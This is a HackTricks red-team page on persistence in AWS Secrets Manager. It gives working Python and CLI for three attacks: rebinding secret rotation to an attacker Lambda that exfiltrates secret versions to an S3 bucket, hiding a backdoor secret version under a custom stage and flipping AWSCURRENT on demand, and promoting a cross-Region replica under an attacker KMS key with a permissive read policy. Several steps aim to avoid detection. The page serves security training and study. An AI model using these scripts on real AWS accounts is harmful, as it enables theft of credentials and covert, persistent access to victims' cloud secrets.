AWS - Secrets Manager Persistence

Reading time: 9 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Secrets Manager

For more info check:

AWS - Secrets Manager Enum

Via Resource Policies

It's possible to grant access to secrets to external accounts via resource policies. Check the Secrets Manager Privesc page for more information. Note that to access a secret, the external account will also need access to the KMS key encrypting the secret.

Via Secrets Rotate Lambda

To rotate secrets automatically a configured Lambda is called. If an attacker could change the code he could directly exfiltrate the new secret to himself.

This is how lambda code for such action could look like:

python
import boto3

def rotate_secrets(event, context):
    # Create a Secrets Manager client
    client = boto3.client('secretsmanager')

    # Retrieve the current secret value
    secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']

    # Rotate the secret by updating its value
    new_secret_value = rotate_secret(secret_value)
    client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)

def rotate_secret(secret_value):
    # Perform the rotation logic here, e.g., generate a new password

    # Example: Generate a new password
    new_secret_value = generate_password()

    return new_secret_value

def generate_password():
    # Example: Generate a random password using the secrets module
    import secrets
    import string
    password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
    return password

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Swap the rotation Lambda to an attacker-controlled function via RotateSecret

Abuse secretsmanager:RotateSecret to rebind a secret to an attacker-controlled rotation Lambda and trigger an immediate rotation. The malicious function exfiltrates the secret versions (AWSCURRENT/AWSPENDING) during the rotation steps (createSecret/setSecret/testSecret/finishSecret) to an attacker sink (e.g., S3 or external HTTP).

  • Requirements

    • Permissions: secretsmanager:RotateSecret, lambda:InvokeFunction on the attacker Lambda, iam:CreateRole/PassRole/PutRolePolicy (or AttachRolePolicy) to provision the Lambda execution role with secretsmanager:GetSecretValue and preferably secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage (so rotation keeps working), KMS kms:Decrypt for the secret KMS key, and s3:PutObject (or outbound egress) for exfiltration.
    • A target secret id (SecretId) with rotation enabled or the ability to enable rotation.
  • Impact

    • The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.
  • Attack steps (CLI)

    1. Prepare attacker sink and Lambda role
      • Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
    2. Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
    3. Rebind rotation and trigger
      • aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately
    4. Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
    5. (Optional) Restore the original rotation Lambda to reduce detection.
  • Example attacker Lambda (Python) exfiltrating to S3

    • Environment: EXFIL_BUCKET=<bucket>
    • Handler: lambda_function.lambda_handler
python
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']

def write_s3(key, data):
    s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')

def lambda_handler(event, context):
    sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
    # Exfil both stages best-effort
    def getv(**kw):
        try:
            r = sm.get_secret_value(**kw)
            return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
        except Exception as e:
            return {'error': str(e)}
    current = getv(SecretId=sid, VersionStage='AWSCURRENT')
    pending = getv(SecretId=sid, VersionStage='AWSPENDING')
    key = f"{sid.replace(':','_')}/{step}/{token}.json"
    write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
    # Minimal rotation (optional): copy current->pending and promote in finishSecret
    # (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)

Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)

Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, ATTACKER) while production continues to use the original AWSCURRENT. At any moment, move AWSCURRENT to the attacker’s version to poison dependent workloads, then restore it to minimize detection. This provides stealthy backdoor persistence and rapid time-of-use manipulation without changing the secret name or rotation config.

  • Requirements

    • Permissions: secretsmanager:PutSecretValue, secretsmanager:UpdateSecretVersionStage, secretsmanager:DescribeSecret, secretsmanager:ListSecretVersionIds, secretsmanager:GetSecretValue (for verification)
    • Target secret id in the Region.
  • Impact

    • Maintain a hidden, attacker-controlled version of a secret and atomically flip AWSCURRENT to it on demand, influencing any consumer resolving the same secret name. The flip and quick revert reduce the chance of detection while enabling time-of-use compromise.
  • Attack steps (CLI)

    • Preparation
      • export SECRET_ID=<target secret id or arn>
CLI commands
bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
  --secret-id "$SECRET_ID" \
  --query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
  --output text)

# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
  --secret-id "$SECRET_ID" \
  --client-request-token "$BACKTOK" \
  --secret-string {backdoor:hunter2!}

# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
  --secret-id "$SECRET_ID" \
  --version-stage AWSCURRENT \
  --move-to-version-id "$CUR" \
  --remove-from-version-id "$BACKTOK"

aws secretsmanager update-secret-version-stage \
  --secret-id "$SECRET_ID" \
  --version-stage ATTACKER \
  --move-to-version-id "$BACKTOK"

# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated

# 4) On-demand flip to the attacker’s value and revert quickly
aws secretsmanager update-secret-version-stage \
  --secret-id "$SECRET_ID" \
  --version-stage AWSCURRENT \
  --move-to-version-id "$BACKTOK" \
  --remove-from-version-id "$CUR"

# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text

# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
  --secret-id "$SECRET_ID" \
  --version-stage AWSCURRENT \
  --move-to-version-id "$CUR" \
  --remove-from-version-id "$BACKTOK"
  • Notes
    • When you supply --client-request-token, Secrets Manager uses it as the VersionId. Adding a new version without explicitly setting --version-stages moves AWSCURRENT to the new version by default, and marks the previous one as AWSPREVIOUS.

Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.

  • Requirements

    • Permissions: secretsmanager:ReplicateSecretToRegions, secretsmanager:StopReplicationToReplica, secretsmanager:PutResourcePolicy, secretsmanager:GetResourcePolicy, secretsmanager:DescribeSecret.
    • In the replica Region: kms:CreateKey, kms:CreateAlias, kms:CreateGrant (or kms:PutKeyPolicy) to allow the attacker principal kms:Decrypt.
    • An attacker principal (user/role) to receive read access to the promoted secret.
  • Impact

    • Persistent cross-Region access path to the secret value through a standalone replica under an attacker-controlled KMS CMK and permissive resource policy. The primary secret in the original Region is untouched.
  • Attack (CLI)

    • Vars
bash
export R1=<primary-region>   # e.g., us-east-1
export R2=<replica-region>   # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
  1. Create attacker-controlled KMS key in replica Region
bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
  {"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
  --query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
  1. Replicate the secret to R2 using the attacker KMS key
bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
  --add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
  1. Promote the replica to standalone in R2
bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
  1. Attach permissive resource policy on the standalone secret in R2
bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
  1. Read the secret from the attacker principal in R2
bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text